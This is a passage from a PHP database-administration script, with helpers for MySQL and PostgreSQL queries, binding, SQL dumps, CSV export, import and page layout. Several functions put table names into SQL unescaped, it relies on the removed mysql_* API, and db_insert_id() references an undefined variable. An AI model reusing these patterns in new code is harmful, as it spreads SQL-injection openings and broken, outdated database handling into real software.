788 // mysql 3.23 doesn't understand "LIMIT x OFFSET z"
789 return $query." LIMIT $offset, $limit";
790 } else {
791 return $query." LIMIT $limit OFFSET $offset";
792 }
793}
794function db_escape($value)
795{
796 global $db_driver, $db_link;
797 if ('mysql' == $db_driver) {
798 return mysql_real_escape_string($value, $db_link);
799 }
800 if ('pgsql' == $db_driver) {
801 return pg_escape_string($value);
802 }
803}
804function db_quote($s)
805{
806 switch (true) {
807 case is_null($s): return 'NULL';
808 case is_int($s): return $s;
809 case is_float($s): return $s;
810 case is_bool($s): return (int) $s;
811 case is_string($s): return "'" . db_escape($s) . "'";
812 case is_object($s): return $s->getValue();
813 default:
814 trigger_error(sprintf("db_quote() failed. Invalid data type: '%s'.", gettype($s)), E_USER_ERROR);
815 return false;
816 }
817}
818function db_strlen_cmp($a, $b)
819{
820 if (strlen($a) == strlen($b)) {
821 return 0;
822 }
823 return strlen($a) > strlen($b) ? -1 : 1;
824}
825function db_bind($q, $dat)
826{
827 if (false === $dat) {
828 return $q;
829 }
830 if (!is_array($dat)) {
831 //return trigger_error('db_bind() failed. Second argument expects to be an array.', E_USER_ERROR);
832 $dat = array($dat);
833 }
834
835 $qBase = $q;
836
837 // special case: LIKE '%asd%', need to ignore that
838 $q_search = array("'%", "%'");
839 $q_replace = array("'\$", "\$'");
840 $q = str_replace($q_search, $q_replace, $q);
841
842 preg_match_all('#%\w+#', $q, $match);
843 if ($match) {
844 $match = $match[0];
845 }
846 if (!$match || !count($match)) {
847 return trigger_error('db_bind() failed. No binding keys found in the query.', E_USER_ERROR);
848 }
849 $keys = $match;
850 usort($keys, 'db_strlen_cmp');
851 $num = array();
852
853 foreach ($keys as $key)
854 {
855 $key2 = str_replace('%', '', $key);
856 if (is_numeric($key2)) $num[$key] = true;
857 if (!array_key_exists($key2, $dat)) {
858 return trigger_error(sprintf('db_bind() failed. No data found for key: %s. Query: %s.', $key, $qBase), E_USER_ERROR);
859 }
860 $q = str_replace($key, db_quote($dat[$key2]), $q);
861 }
862 if (count($num)) {
863 if (count($dat) != count($num)) {
864 return trigger_error('db_bind() failed. When using numeric data binding you need to use all data passed to the query. You also cannot mix numeric and name binding.', E_USER_ERROR);
865 }
866 }
867
868 $q = str_replace($q_replace, $q_search, $q);
869
870 return $q;
871}
872function db_free($rs)
873{
874 global $db_driver;
875 if (db_is_result($rs)) {
876 if ('mysql' == $db_driver) return mysql_free_result($rs);
877 if ('pgsql' == $db_driver) return pg_free_result($rs);
878 }
879}
880function db_is_result($rs)
881{
882 global $db_driver;
883 if ('mysql' == $db_driver) return is_resource($rs);
884 if ('pgsql' == $db_driver) return is_object($rs) || is_resource($rs);
885}
886function db_error()
887{
888 global $db_driver, $db_link;
889 if ('mysql' == $db_driver) {
890 if (is_resource($db_link)) {
891 if (mysql_error($db_link)) {
892 return mysql_error($db_link). ' ('. mysql_errno($db_link).')';
893 } else {
894 return false;
895 }
896 } else {
897 if (mysql_error()) {
898 return mysql_error(). ' ('. mysql_errno().')';
899 } else {
900 return false;
901 }
902 }
903 }
904 if ('pgsql' == $db_driver) {
905 if (is_resource($db_link)) {
906 return pg_last_error($db_link);
907 }
908 }
909}
910function db_begin()
911{
912 global $db_driver;
913 if ('mysql' == $db_driver) {
914 db_exe('SET AUTOCOMMIT=0');
915 db_exe('BEGIN');
916 }
917 if ('pgsql' == $db_driver) {
918 db_exe('BEGIN');
919 }
920}
921function db_end()
922{
923 global $db_driver;
924 if ('mysql' == $db_driver) {
925 db_exe('COMMIT');
926 db_exe('SET AUTOCOMMIT=1');
927 }
928 if ('pgsql' == $db_driver) {
929 db_exe('COMMIT');
930 }
931}
932function db_rollback()
933{
934 global $db_driver;
935 if ('mysql' == $db_driver) {
936 db_exe('ROLLBACK');
937 db_exe('SET AUTOCOMMIT=1');
938 }
939 if ('pgsql' == $db_driver) {
940 db_exe('ROLLBACK');
941 }
942}
943function db_in_array($arr)
944{
945 $in = '';
946 foreach ($arr as $v) {
947 if ($in) $in .= ',';
948 $in .= db_quote($v);
949 }
950 return $in;
951}
952function db_where($where_array, $field_prefix = null, $omit_where = false)
953{
954 $field_prefix = str_replace('.', '', $field_prefix);
955 $where = '';
956 if (count($where_array)) {
957 foreach ($where_array as $wh_k => $wh)
958 {
959 if (is_numeric($wh_k)) {
960 if ($wh) {
961 if ($field_prefix && !preg_match('#^\s*\w+\.#i', $wh) && !preg_match('#^\s*\w+\s*\(#i', $wh)) {
962 $wh = $field_prefix.'.'.trim($wh);
963 }
964 if ($where) $where .= ' AND ';
965 $where .= $wh;
966 }
967 } else {
968 if ($wh_k) {
969 if ($field_prefix && !preg_match('#^\s*\w+\.#i', $wh_k) && !preg_match('#^\s*\w+\s*\(#i', $wh)) {
970 $wh_k = $field_prefix.'.'.$wh_k;
971 }
972 $wh = db_cond($wh_k, $wh);
973 if ($where) $where .= ' AND ';
974 $where .= $wh;
975 }
976 }
977 }
978 if ($where) {
979 if (!$omit_where) {
980 $where = ' WHERE '.$where;
981 }
982 }
983 }
984 return $where;
985}
986function db_insert($tbl, $dat)
987{
988 global $db_driver;
989 if (!count($dat)) {
990 trigger_error('db_insert() failed. Data is empty.', E_USER_ERROR);
991 return false;
992 }
993 $cols = '';
994 $vals = '';
995 $first = true;
996 foreach ($dat as $k => $v) {
997 if ($first) {
998 $cols .= $k;
999 $vals .= db_quote($v);
1000 $first = false;
1001 } else {
1002 $cols .= ',' . $k;
1003 $vals .= ',' . db_quote($v);
1004 }
1005 }
1006 if ('mysql' == $db_driver) {
1007 $tbl = "`$tbl`";
1008 }
1009 $q = "INSERT INTO $tbl ($cols) VALUES ($vals)";
1010 db_exe($q);
1011}
1012// $wh = WHERE condition, might be (string) or (array)
1013function db_update($tbl, $dat, $wh)
1014{
1015 global $db_driver;
1016 if (!count($dat)) {
1017 trigger_error('db_update() failed. Data is empty.', E_USER_ERROR);
1018 return false;
1019 }
1020 $set = '';
1021 $first = true;
1022 foreach ($dat as $k => $v) {
1023 if ($first) {
1024 $set .= $k . '=' . db_quote($v);
1025 $first = false;
1026 } else {
1027 $set .= ',' . $k . '=' . db_quote($v);
1028 }
1029 }
1030 if (is_array($wh)) {
1031 $wh = db_where($wh, null, $omit_where = true);
1032 }
1033 if ('mysql' == $db_driver) {
1034 $tbl = "`$tbl`";
1035 }
1036 $q = "UPDATE $tbl SET $set WHERE $wh";
1037 return db_exe($q);
1038}
1039function db_insert_id($table = null, $pk = null)
1040{
1041 global $db_driver, $db_link;
1042 if ('mysql' == $db_driver) {
1043 return mysql_insert_id($_db['conn_id']);
1044 }
1045 if ('pgsql' == $db_driver) {
1046 if (!$table || !$pk) {
1047 trigger_error('db_insert_id(): table & pk required', E_USER_ERROR);
1048 }
1049 $seq_id = $table.'_'.$pk.'_seq';
1050 return db_seq_id($seq_id);
1051 }
1052}
1053function db_seq_id($seqName)
1054{
1055 return db_one('SELECT currval(%seqName)', array('seqName'=>$seqName));
1056}
1057function db_cond($k, $v)
1058{
1059 if (is_null($v)) return sprintf('%s IS NULL', $k);
1060 else return sprintf('%s = %s', $k, db_quote($v));
1061}
1062function list_dbs()
1063{
1064 global $db_driver, $db_link;
1065 if ('mysql' == $db_driver)
1066 {
1067 $result = mysql_query('SHOW DATABASES', $db_link);
1068 $ret = array();
1069 while ($row = mysql_fetch_row($result)) {
1070 $ret[$row[0]] = $row[0];
1071 }
1072 return $ret;
1073 }
1074 if ('pgsql' == $db_driver)
1075 {
1076 return db_assoc('SELECT datname, datname FROM pg_database');
1077 }
1078}
1079function views_supported()
1080{
1081 static $ret;
1082 if (isset($ret)) {
1083 return $ret;
1084 }
1085 global $db_driver, $db_link;
1086 if ('mysql' == $db_driver) {
1087 $version = mysql_get_server_info($db_link);
1088 if (strpos($version, "-") !== false) {
1089 $version = substr($version, 0, strpos($version, "-"));
1090 }
1091 if (version_compare($version, "5.0.2", ">=")) {
1092 // Views are available in 5.0.0 but we need SHOW FULL TABLES
1093 // and the FULL syntax was added in 5.0.2, FULL allows us to
1094 // to distinct between tables & views in the returned list by
1095 // by providing an additional column.
1096 $ret = true;
1097 return true;
1098 } else {
1099 $ret = false;
1100 return false;
1101 }
1102 }
1103 if ('pgsql' == $db_driver) {
1104 $ret = true;
1105 return true;
1106 }
1107}
1108function list_tables($views_mode=false)
1109{
1110 global $db_driver, $db_link, $db_name;
1111
1112 if ($views_mode && !views_supported()) {
1113 return array();
1114 }
1115
1116 static $cache_tables;
1117 static $cache_views;
1118
1119 if ($views_mode) {
1120 if (isset($cache_views)) {
1121 return $cache_views;
1122 }
1123 } else {
1124 if (isset($cache_tables)) {
1125 return $cache_tables;
1126 }
1127 }
1128
1129 static $all_tables; // tables and views
1130
1131 if ('mysql' == $db_driver)
1132 {
1133 if (!isset($all_tables)) {
1134 $all_tables = db_assoc("SHOW FULL TABLES");
1135 // assoc: table name => table type (BASE TABLE or VIEW)
1136 }
1137
1138 // This chunk of code is the same as in pgsql driver.
1139 if ($views_mode) {
1140 $views = array();
1141 foreach ($all_tables as $view => $type) {
1142 if ($type != 'VIEW') { continue; }
1143 $views[] = $view;
1144 }
1145 $cache_views = $views;
1146 return $views;
1147 } else {
1148 $tables = array();
1149 foreach ($all_tables as $table => $type) {
1150 if ($type != 'BASE TABLE') { continue; }
1151 $tables[] = $table;
1152 }
1153 $cache_tables = $tables;
1154 return $tables;
1155 }
1156 }
1157 if ('pgsql' == $db_driver)
1158 {
1159 if (!isset($all_tables)) {
1160 $query = "SELECT table_name, table_type ";
1161 $query .= "FROM information_schema.tables ";
1162 $query .= "WHERE table_schema = 'public' ";
1163 $query .= "AND (table_type = 'BASE TABLE' OR table_type = 'VIEW') ";
1164 $query .= "ORDER BY table_name ";
1165 $all_tables = db_assoc($query);
1166 }
1167
1168 // This chunk of code is the same as in mysql driver.
1169 if ($views_mode) {
1170 $views = array();
1171 foreach ($all_tables as $view => $type) {
1172 if ($type != 'VIEW') { continue; }
1173 $views[] = $view;
1174 }
1175 $cache_views = $views;
1176 return $views;
1177 } else {
1178 $tables = array();
1179 foreach ($all_tables as $table => $type) {
1180 if ($type != 'BASE TABLE') { continue; }
1181 $tables[] = $table;
1182 }
1183 $cache_tables = $tables;
1184 return $tables;
1185 }
1186 }
1187}
1188function quote_table($table)
1189{
1190 global $db_driver;
1191 if ('mysql' == $db_driver) {
1192 return "`$table`";
1193 } else {
1194 return $table;
1195 }
1196}
1197function table_structure($table)
1198{
1199 global $db_driver;
1200 if ('mysql' == $db_driver)
1201 {
1202 $query = "SHOW CREATE TABLE `$table`";
1203 $row = db_row_num($query);
1204 echo $row[1].';';
1205 echo "\n\n";
1206 }
1207 if ('pgsql' == $db_driver)
1208 {
1209 return '';
1210 }
1211}
1212function table_data($table)
1213{
1214 global $db_driver;
1215 set_time_limit(0);
1216 if ('mysql' == $db_driver) {
1217 $query = "SELECT * FROM `$table`";
1218 } else {
1219 $query = "SELECT * FROM $table";
1220 }
1221 $result = db_query($query);
1222 $count = 0;
1223 while ($row = db_row($result))
1224 {
1225 if ('mysql' == $db_driver) {
1226 echo 'INSERT INTO `'.$table.'` VALUES (';
1227 }
1228 if ('pgsql' == $db_driver) {
1229 echo 'INSERT INTO '.$table.' VALUES (';
1230 }
1231 $x = 0;
1232 foreach($row as $key => $value)
1233 {
1234 if ($x == 1) { echo ', '; }
1235 else { $x = 1; }
1236 if (is_numeric($value)) { echo "'".$value."'"; }
1237 elseif (is_null($value)) { echo 'NULL'; }
1238 else { echo '\''. escape($value) .'\''; }
1239 }
1240 echo ");\n";
1241 $count++;
1242 if ($count % 100 == 0) { flush(); }
1243 }
1244 db_free($result);
1245 if ($count) {
1246 echo "\n";
1247 }
1248}
1249function table_status()
1250{
1251 // Size is not supported for Views, only for Tables.
1252
1253 global $db_driver, $db_link, $db_name;
1254 if ('mysql' == $db_driver)
1255 {
1256 $status = array();
1257 $status['total_size'] = 0;
1258 $result = mysql_query("SHOW TABLE STATUS FROM `$db_name`", $db_link);
1259 while ($row = mysql_fetch_assoc($result)) {
1260 if (!is_numeric($row['Data_length'])) {
1261 // Data_length for Views is NULL.
1262 continue;
1263 }
1264 $status['total_size'] += $row['Data_length']; // + Index_length
1265 $status[$row['Name']]['size'] = $row['Data_length'];
1266 $status[$row['Name']]['count'] = $row['Rows'];
1267 }
1268 return $status;
1269 }
1270 if ('pgsql' == $db_driver)
1271 {
1272 $status = array();
1273 $status['total_size'] = 0;
1274 $tables = list_tables(); // only tables, not views
1275 if (!count($tables)) {
1276 return $status;
1277 }
1278 $tables_in = db_in_array($tables);
1279 $rels = db_list("SELECT relname, reltuples, (relpages::decimal + 1) * 8 * 2 * 1024 AS relsize FROM pg_class WHERE relname IN ($tables_in)");
1280 foreach ($rels as $rel) {
1281 $status['total_size'] += $rel['relsize'];
1282 $status[$rel['relname']]['size'] = $rel['relsize'];
1283 $status[$rel['relname']]['count'] = $rel['reltuples'];
1284 }
1285 return $status;
1286 }
1287}
1288function table_columns($table)
1289{
1290 global $db_driver;
1291 static $cache = array();
1292 if (isset($cache[$table])) {
1293 return $cache[$table];
1294 }
1295 if ('mysql' == $db_driver) {
1296 $row = db_row("SELECT * FROM `$table`");
1297 } else {
1298 $row = db_row("SELECT * FROM $table");
1299 }
1300 if (!$row) {
1301 $cache[$table] = array();
1302 return array();
1303 }
1304 foreach ($row as $k => $v) {
1305 $row[$k] = $k;
1306 }
1307 $cache[$table] = $row;
1308 return $row;
1309}
1310function table_types($table)
1311{
1312 global $db_driver;
1313 if ('mysql' == $db_driver)
1314 {
1315 $rows = db_list("SHOW COLUMNS FROM `$table`");
1316 $types = array();
1317 foreach ($rows as $row) {
1318 $type = $row['Type'];
1319 $types[$row['Field']] = $type;
1320 }
1321 return $types;
1322 }
1323 if ('pgsql' == $db_driver)
1324 {
1325 return db_assoc("SELECT column_name, udt_name FROM information_schema.columns WHERE table_name ='$table' ORDER BY ordinal_position");
1326 }
1327}
1328function table_types2($table)
1329{
1330 global $db_driver;
1331 if ('mysql' == $db_driver)
1332 {
1333 $types = array();
1334 $rows = @db_list("SHOW COLUMNS FROM `$table`");
1335 if (!($rows && count($rows))) {
1336 return false;
1337 }
1338 foreach ($rows as $row) {
1339 $type = $row['Type'];
1340 preg_match('#^[a-z]+#', $type, $match);
1341 $type = $match[0];
1342 $types[$row['Field']] = $type;
1343 }
1344 }
1345 if ('pgsql' == $db_driver)
1346 {
1347 $types = db_assoc("SELECT column_name, udt_name FROM information_schema.columns WHERE table_name ='$table' ORDER BY ordinal_position");
1348 if (!count($types)) {
1349 return false;
1350 }
1351 foreach ($types as $col => $type) {
1352 // "_" also in regexp - error when retrieving column info from "pg_class",
1353 // udt_name might be "_aclitem" / "_text".
1354 preg_match('#^[a-z_]+#', $type, $match);
1355 $type = $match[0];
1356 $types[$col] = $type;
1357 }
1358 }
1359 foreach ($types as $col => $type) {
1360 if ('varchar' == $type) { $type = 'char'; }
1361 if ('integer' == $type) { $type = 'int'; }
1362 if ('timestamp' == $type) { $type = 'time'; }
1363 $types[$col] = $type;
1364 }
1365 return $types;
1366}
1367function table_types_group($types)
1368{
1369 foreach ($types as $k => $type) {
1370 preg_match('#^\w+#', $type, $match);
1371 $type = $match[0];
1372 $types[$k] = $type;
1373 }
1374 $types = array_unique($types);
1375 $types = array_values($types);
1376 $types2 = array();
1377 foreach ($types as $type) {
1378 $types2[$type] = $type;
1379 }
1380 return $types2;
1381}
1382function table_pk($table)
1383{
1384 $cols = table_columns($table);
1385 if (!$cols) return null;
1386 foreach ($cols as $col) {
1387 return $col;
1388 }
1389}
1390function escape($text)
1391{
1392 $text = addslashes($text);
1393 $search = array("\r", "\n", "\t");
1394 $replace = array('\r', '\n', '\t');
1395 return str_replace($search, $replace, $text);
1396}
1397function ob_cleanup()
1398{
1399 while (ob_get_level()) {
1400 ob_end_clean();
1401 }
1402 if (headers_sent()) {
1403 return;
1404 }
1405 if (function_exists('headers_list')) {
1406 foreach (headers_list() as $header) {
1407 if (preg_match('/Content-Encoding:/i', $header)) {
1408 header('Content-encoding: none');
1409 break;
1410 }
1411 }
1412 } else {
1413 header('Content-encoding: none');
1414 }
1415}
1416function query_color($query)
1417{
1418 $color = 'red';
1419 $words = array('SELECT', 'UPDATE', 'DELETE', 'FROM', 'LIMIT', 'OFFSET', 'AND', 'LEFT JOIN', 'WHERE', 'SET',
1420 'ORDER BY', 'GROUP BY', 'GROUP', 'DISTINCT', 'COUNT', 'COUNT\(\*\)', 'IS', 'NULL', 'IS NULL', 'AS', 'ON', 'INSERT INTO', 'VALUES', 'BEGIN', 'COMMIT', 'CASE', 'WHEN', 'THEN', 'END', 'ELSE', 'IN', 'NOT', 'LIKE', 'ILIKE', 'ASC', 'DESC', 'LOWER', 'UPPER');
1421 $words = implode('|', $words);
1422
1423 $query = preg_replace("#^({$words})(\s)#i", '<font color="'.$color.'">$1</font>$2', $query);
1424 $query = preg_replace("#(\s)({$words})$#i", '$1<font color="'.$color.'">$2</font>', $query);
1425 // replace twice, some words when preceding other are not replaced
1426 $query = preg_replace("#([\s\(\),])({$words})([\s\(\),])#i", '$1<font color="'.$color.'">$2</font>$3', $query);
1427 $query = preg_replace("#([\s\(\),])({$words})([\s\(\),])#i", '$1<font color="'.$color.'">$2</font>$3', $query);
1428 $query = preg_replace("#^($words)$#i", '<font color="'.$color.'">$1</font>', $query);
1429
1430 preg_match_all('#<font[^>]+>('.$words.')</font>#i', $query, $matches);
1431 foreach ($matches[0] as $k => $font) {
1432 $font2 = str_replace($matches[1][$k], strtoupper($matches[1][$k]), $font);
1433 $query = str_replace($font, $font2, $query);
1434 }
1435
1436 return $query;
1437}
1438function query_upper($sql)
1439{
1440 return $sql;
1441 // todo: don't upper quoted ' and ' values
1442 $queries = preg_split("#;(\s*--[ \t\S]*)?(\r\n|\n|\r)#U", $sql);
1443 foreach ($queries as $k => $query) {
1444 $strip = query_strip($query);
1445 $color = query_color($strip);
1446 $sql = str_replace($strip, $color, $sql);
1447 }
1448 $sql = preg_replace('#<font color="\w+">([^>]+)</font>#iU', '$1', $sql);
1449 return $sql;
1450}
1451function html_spaces($string)
1452{
1453 $inside_tag = false;
1454 for ($i = 0; $i < strlen($string); $i++)
1455 {
1456 $c = $string{$i};
1457 if ('<' == $c) {
1458 $inside_tag = true;
1459 }
1460 if ('>' == $c) {
1461 $inside_tag = false;
1462 }
1463 if (' ' == $c && !$inside_tag) {
1464 $string = substr($string, 0, $i).' '.substr($string, $i+1);
1465 $i += strlen(' ')-1;
1466 }
1467 }
1468 return $string;
1469}
1470function query_cut($query)
1471{
1472 // removes sub-queries and string values from query
1473 $brace_start = '(';
1474 $brace_end = ')';
1475 $quote = "'";
1476 $inside_brace = false;
1477 $inside_quote = false;
1478 $depth = 0;
1479 $ret = '';
1480 $query = str_replace('\\\\', '', $query);
1481
1482 for ($i = 0; $i < strlen($query); $i++)
1483 {
1484 $prev_char = isset($query{$i-1}) ? $query{$i-1} : null;
1485 $char = $query{$i};
1486 if ($char == $brace_start) {
1487 if (!$inside_quote) {
1488 $depth++;
1489 }
1490 }
1491 if ($char == $brace_end) {
1492 if (!$inside_quote) {
1493 $depth--;
1494 if ($depth == 0) {
1495 $ret .= '(...)';
1496 }
1497 continue;
1498 }
1499 }
1500 if ($char == $quote) {
1501 if ($inside_quote) {
1502 if ($prev_char != '\\') {
1503 $inside_quote = false;
1504 if (!$depth) {
1505 $ret .= "'...'";
1506 }
1507 continue;
1508 }
1509 } else {
1510 $inside_quote = true;
1511 }
1512 }
1513 if (!$depth && !$inside_quote) {
1514 $ret .= $char;
1515 }
1516 }
1517 return $ret;
1518}
1519function table_from_query($query)
1520{
1521 if (preg_match('#\sFROM\s+["`]?(\w+)["`]?#i', $query, $match)) {
1522 $cut = query_cut($query);
1523 if (preg_match('#\sFROM\s+["`]?(\w+)["`]?#i', $cut, $match2)) {
1524 $table = $match2[1];
1525 } else {
1526 $table = $match[1];
1527 }
1528 } else if (preg_match('#UPDATE\s+"?(\w+)"?#i', $query, $match)) {
1529 $table = $match[1];
1530 } else if (preg_match('#INSERT\s+INTO\s+"?(\w+)"?#', $query, $match)) {
1531 $table = $match[1];
1532 } else {
1533 $table = false;
1534 }
1535 return $table;
1536}
1537function is_select($query)
1538{
1539 return preg_match('#^\s*SELECT\s+#i', $query);
1540}
1541function query_strip($query)
1542{
1543 // strip comments and ';' from the end of query
1544 $query = trim($query);
1545 if (str_ends_with($query, ';')) {
1546 $query = str_cut_end($query, ';');
1547 }
1548 $lines = preg_split("#(\r\n|\n|\r)#", $query);
1549 foreach ($lines as $k => $line) {
1550 $line = trim($line);
1551 if (!$line || str_starts_with($line, '--')) {
1552 unset($lines[$k]);
1553 }
1554 }
1555 $query = implode("\r\n", $lines);
1556 return $query;
1557}
1558function dump_table($table)
1559{
1560 ob_cleanup();
1561 define('DEBUG_CONSOLE_HIDE', 1);
1562 set_time_limit(0);
1563 global $db_name;
1564 header("Cache-control: private");
1565 header("Content-type: application/octet-stream");
1566 header('Content-Disposition: attachment; filename='.$db_name.'_'.$table.'.sql');
1567 table_structure($table);
1568 table_data($table);
1569 exit;
1570}
1571function dump_all($data = false)
1572{
1573 global $db_name;
1574
1575 ob_cleanup();
1576 define('DEBUG_CONSOLE_HIDE', 1);
1577 set_time_limit(0);
1578
1579 $tables = list_tables();
1580 $table_filter = get('table_filter');
1581 $tables = table_filter($tables, $table_filter);
1582
1583 header("Cache-control: private");
1584 header("Content-type: application/octet-stream");
1585 header('Content-Disposition: attachment; filename='.date('Ymd').'_'.$db_name.'.sql');
1586
1587 foreach ($tables as $key => $table)
1588 {
1589 table_structure($table);
1590 if ($data) {
1591 table_data($table);
1592 }
1593 flush();
1594 }
1595 exit;
1596}
1597function export_csv($query, $separator)
1598{
1599 ob_cleanup();
1600 set_time_limit(0);
1601
1602 if (!is_select($query)) {
1603 trigger_error('export_csv() failed: not a SELECT query: '.$query, E_USER_ERROR);
1604 }
1605
1606 $table = table_from_query($query);
1607 if (!$table) {
1608 $table = 'unknown';
1609 }
1610
1611 header("Cache-control: private");
1612 header("Content-type: application/octet-stream");
1613 header('Content-Disposition: attachment; filename='.$table.'_'.date('Ymd').'.csv');
1614
1615 $rs = db_query($query);
1616 $first = true;
1617
1618 while ($row = db_row($rs)) {
1619 if ($first) {
1620 echo csv_row(array_keys($row), $separator);
1621 $first = false;
1622 }
1623 echo csv_row($row, $separator);
1624 flush();
1625 }
1626
1627 exit();
1628}
1629function csv_row($row, $separator)
1630{
1631 foreach ($row as $key => $val) {
1632 $enquote = false;
1633 if (false !== strpos($val, $separator)) {
1634 $enquote = true;
1635 }
1636 if (false !== strpos($val, "\"")) {
1637 $enquote = true;
1638 $val = str_replace("\"", "\"\"", $val);
1639 }
1640 if (false !== strpos($val, "\r") || false !== strpos($val, "\n")) {
1641 $enquote = true;
1642 $val = preg_replace('#(\r\n|\r|\n)#', "\n", $val); // excel needs \n instead of \r\n
1643 }
1644 if ($enquote) {
1645 $row[$key] = "\"".$val."\"";
1646 }
1647 }
1648 $out = implode($separator, $row);
1649 $out .= "\r\n";
1650 return $out;
1651}
1652function import($file, $ignore_errors = false, $transaction = false, $force_myisam = false, $query_start = false)
1653{
1654 global $db_driver, $db_link, $db_charset;
1655 if ($ignore_errors && $transaction) {
1656 echo '<div>You cannot select both: ignoring errors and transaction</div>';
1657 exit;
1658 }
1659
1660 $count_errors = 0;
1661 set_time_limit(0);
1662 $fp = fopen($file, 'r');
1663 if (!$fp) { exit('fopen('.$file.') failed'); }
1664 flock($fp, 1);
1665 $text = trim(fread($fp, filesize($file)));
1666 flock($fp, 3);
1667 fclose($fp);
1668 if ($db_charset == 'latin2') {
1669 $text = charset_fix($text);
1670 }
1671 if ($force_myisam) {
1672 $text = preg_replace('#TYPE\s*=\s*InnoDB#i', 'TYPE=MyISAM', $text);
1673 }
1674 $text = preg_split("#;(\r\n|\n|\r)#", $text);
1675 $x = 0;
1676 echo '<div>Ignoring errors: <b>'.($ignore_errors?'Yes':'No').'</b></div>';
1677 echo '<div>Transaction: <b>'.($transaction?'Yes':'No').'</b></div>';
1678 echo '<div>Force MyIsam: <b>'.($force_myisam?'Yes':'No').'</b></div>';
1679 echo '<div>Query start: <b>#'.$query_start.'</b></div>';
1680 echo '<div>Queries found: <b>'.count($text).'</b></div>';
1681 echo '<div>Executing ...</div>';
1682 flush();
1683
1684 if ($transaction) {
1685 echo '<div>BEGIN;</div>';
1686 db_begin();
1687 }
1688
1689 $time = time_start();
1690 $query_start = (int) $query_start;
1691 if (!$query_start) {
1692 $query_start = 1;
1693 }
1694 $query_no = 0;
1695
1696 foreach($text as $key => $value)
1697 {
1698 $x++;
1699 $query_no++;
1700 if ($query_start > $query_no) {
1701 continue;
1702 }
1703
1704 if ('mysql' == $db_driver)
1705 {
1706 $result = @mysql_query($value.';', $db_link);
1707 }
1708 if ('pgsql' == $db_driver)
1709 {
1710 $result = @pg_query($db_link, $value.';');
1711 }
1712 if(!$result) {
1713 $x--;
1714 if (!$count_errors) {
1715 echo '<table class="ls" cellspacing="1"><tr><th width="25%">Error</th><th>Query</th></tr>';
1716 }
1717 $count_errors++;
1718 echo '<tr><td>#'.$query_no.' '.db_error() .')'.'</td><td>'.nl2br(html_once($value)).'</td></tr>';
1719 flush();
1720 if (!$ignore_errors) {
1721 echo '</table>';
1722 echo '<div><span style="color: red;"><b>Import failed.</b></span></div>';
1723 echo '<div>Queries executed: <b>'.($x-$query_start+1).'</b>.</div>';
1724 if ($transaction) {
1725 echo '<div>ROLLBACK;</div>';
1726 db_rollback();
1727 }
1728 echo '<br><div><a href="'.$_SERVER['PHP_SELF'].'?import=1"><< go back</a></div>';
1729 exit;
1730 }
1731 }
1732 }
1733 if ($count_errors) {
1734 echo '</table>';
1735 }
1736 if ($transaction) {
1737 echo '<div>COMMIT;</div>';
1738 db_end();
1739 }
1740 echo '<div><span style="color: green;"><b>Import finished.</b></span></div>';
1741 echo '<div>Queries executed: <b>'.($x-$query_start+1).'</b>.</div>';
1742 echo '<div>Time: <b>'.time_end($time).'</b> sec</div>';
1743 echo '<br><div><a href="'.$_SERVER['PHP_SELF'].'?import=1"><< go back</a></div>';
1744}
1745function layout()
1746{
1747 global $sql_area;
1748 ?>
1749 <style>
1750 body,table,input,select,textarea { font-family: tahoma; font-size: 11px; }
1751 body { margin: 1em; padding: 0; margin-top: 0.5em; }
1752 h1, h2 { font-family: arial; margin: 1em 0; }
1753 h1 { font-size: 150%; margin: 0.7em 0; }
1754 h2 { font-size: 125%; }
1755 .ls th { background: #ccc; }
1756 .ls th th { background-color: none; }
1757 .ls td { background: #f5f5f5; }
1758 .ls td td { background-color: none; }
1759 .ls th, .ls td { padding: 0.1em 0.5em; }
1760 .ls th th, .ls td td { padding: 0; }
1761 .ls2 th { text-align: left; vertical-align: top; line-height: 1.7em; background: #e0e0e0; font-weight: normal; }
1762 .ls2 th th { line-height: normal; background-color: none; }
1763 p { margin: 0.8em 0; }
1764 form { margin: 0; }
1765 form th { text-align: left; }
1766 a, a:visited { text-decoration: none; }
1767 a:hover { text-decoration: underline; }
1768 a, a.blue { color: blue; }
1769 a:visited { color: purple; }
1770 a.blue:visited { color: blue; }
1771 form .none td, form .none th { background: none; padding: 0 0.25em; }
1772 label { padding-left: 2px; padding-right: 4px; }
1773 .checkbox { padding-left: 0; margin-left: 0; margin-top: 1px; }
1774 .none, .ls .none { background: none; padding-top: 0.4em; }
1775 .button { cursor: pointer; }
1776 .button_click { background: #e0e0e0; }
1777 .error { background: #ffffd7; padding: 0.5em; border: #ccc 1px solid; margin-bottom: 1em; margin-top: 1em; }
1778 .msg { background: #eee; padding: 0.5em; border: #ccc 1px solid; margin-bottom: 1em; margin-top: 1em; }
1779 .sql_area { <?php echo $sql_area;?> }
1780 div.query { background: #eee; padding: 0.35em; border: #ccc 1px solid; margin-bottom: 1em; margin-top: 1em; }
1781 </style>
1782 <script>
1783 function mark_col(td)
1784 {
1785 }
1786 function popup(url, width, height, more)
1787 {
1788 if (!width) width = 750;
1789 if (!height) height = 500;
1790 var x = (screen.width/2-width/2);
1791 var y = (screen.height/2-height/2);
1792 window.open(url, "", "scrollbars=yes,resizable=yes,width="+width+",height="+height+",screenX="+(x)+",screenY="+y+",left="+x+",top="+y+(more ? ","+more : ""));
1793 }
1794 function is_ie()
1795 {
1796 return navigator.appVersion.indexOf("MSIE") != -1;
1797 }
1798 function event_add(el, event, func)
1799 {
1800 if (is_ie()) {
1801 if (el.attachEvent) {
1802 el.attachEvent("on"+event, func);
1803 }
1804 } else {
1805 if (el.addEventListener) {
1806 el.addEventListener(event, func, false);
1807 } else if (el.attachEvent) {
1808 el.attachEvent("on"+event, func);
1809 } else {
1810 var oldfunc = el["on"+event];
1811 el["on"+event] = function() { oldfunc(); func(); }
1812 }
1813 }
1814 }
1815 function event_target(event)
1816 {
1817 var el;
1818 if (window.event) el = window.event.srcElement;
1819 else if (event) el = event.target;
1820 if (el.nodeType == 3) el = el.parentNode;
1821 return el;
1822 }
1823
1824 function button_init()
1825 {
1826 // dependency: event_add(), event_target()
1827 event_add(window, "load", function() {
1828 for (var i = 0; i < document.forms.length; i++) {
1829 event_add(document.forms[i], "submit", function(event) {
1830 var form = event_target(event);
1831 if (form.tagName != 'FORM') form = this;
1832 for (var k = 0; k < form.elements.length; k++) {
1833 if ("button" == form.elements[k].type || "submit" == form.elements[k].type) {
1834 button_click(form.elements[k], true);
1835 }
1836 }
1837 });
1838 var form = document.forms[i];
1839 for (var j = 0; j < form.elements.length; j++) {
1840 if ("button" == form.elements[j].type || "submit" == form.elements[j].type) {
1841 event_add(form.elements[j], "click", button_click);
1842 }
1843 }
1844 }
1845 var inputs = document.getElementsByTagName('INPUT');
